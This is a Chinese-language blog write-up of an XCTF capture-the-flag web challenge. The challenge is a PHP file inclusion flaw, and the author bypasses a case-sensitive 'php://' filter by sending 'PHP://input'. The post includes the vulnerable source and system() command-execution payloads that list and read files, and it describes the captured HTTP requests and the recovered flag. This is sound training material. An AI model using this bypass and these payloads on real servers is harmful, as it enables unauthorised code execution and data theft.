

【XCTF高手进阶区】web4_Web_php_include writeup（一）

原创

[Mitch311](#) 于 2021-01-27 23:23:13 发布 148 收藏

分类专栏: [CTF](#) 文章标签: [字符串](#) [php](#) [java](#) [web](#) [python](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/Mitchell_Donovan/article/details/113273404

版权



[CTF 专栏收录该内容](#)

51 篇文章 3 订阅

订阅专栏

web4_Web_php_include

[原题链接](#)

key:php://伪协议+大小写绕过

此题其他解法

[XCTF高手进阶区 web4_Web_php_include writeup（二）](#)

[XCTF高手进阶区 web4_Web_php_include writeup（三）](#)

[XCTF高手进阶区 web4_Web_php_include writeup（四）](#)

①页面打开后是一串php代码

```
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
```

看到了include()函数, 十有八九是道文件包含题

造成文件包含漏洞的函数通常有:

include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline

②进行代码审计

先来简单了解一下本题涉及到的几个php函数□

知识补充

strstr() 函数搜索字符串在另一字符串中是否存在，如果是，返回该字符串及剩余部分，否则返回 **FALSE**（区分大小写）

另外，**stristr()**函数 不区分大小写

str_replace() 函数替换字符串中的一些字符（区分大小写）

另外，**str_ireplace()**函数不区分大小写

分析代码可知程序过滤掉了page中存在的php://伪协议字符

③既然题目想屏蔽php://伪协议

那么首先想到的思路就是把input输入流include包含进来

但是直接page=php://input肯定不行

但是strstr()函数区分大小写，可以构造page=PHP://input

然后再传入我们的system命令

如何判断能否使用system命令

可以先传入<?php phpinfo() ?>看看能否成功执行

执行成功□

The screenshot displays the 'Request' and 'Response' tabs in a browser's developer tools. The 'Request' tab shows a GET request to `page=PHP://input` with a payload of `<?php system("ls") ?>`. The 'Response' tab shows the server's output, which includes a list of files and directories: `flag`, `index.php`, and `phpinfo.php`. The response is styled with various colors and tags, and the file names are highlighted in a red box.

发现了目标文件f14gisisish3r3.php

cat一下得到flag

The image shows a browser's developer tools interface with two panels: Request and Response.

Request:

- Method: GET
- URL: /page=PHP//ngyu HTTP/1.1
- Host: 111.200.241.243:63037
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Connection: close
- Upgrade-Insecure-Requests: 1
- Content-Length: 42

The request body contains the command: `<?php system("cat f14gisisish3r3.php") ?>`

Response:

- HTTP/1.1 200 OK
- Date: Wed, 27 Jan 2021 15:15:47 GMT
- Server: Apache/2.2.22 (Ubuntu)
- X-Powered-By: PHP/5.3.10-1ubuntu3
- Vary: Accept-Encoding
- Content-Length: 1572
- Connection: close
- Content-Type: text/html

The response body contains HTML code with a flag: `<?php $flag="ctf{876a5fca-96c6-4cbl-9075-46f0c89475d2}" ?>`. The flag value is highlighted with a red box in the image.

另外我想说的是，不知道是我的原因还是题的原因，这题我用hackbar提交POST请求一直没有响应，被逼无奈只好用burpsuite了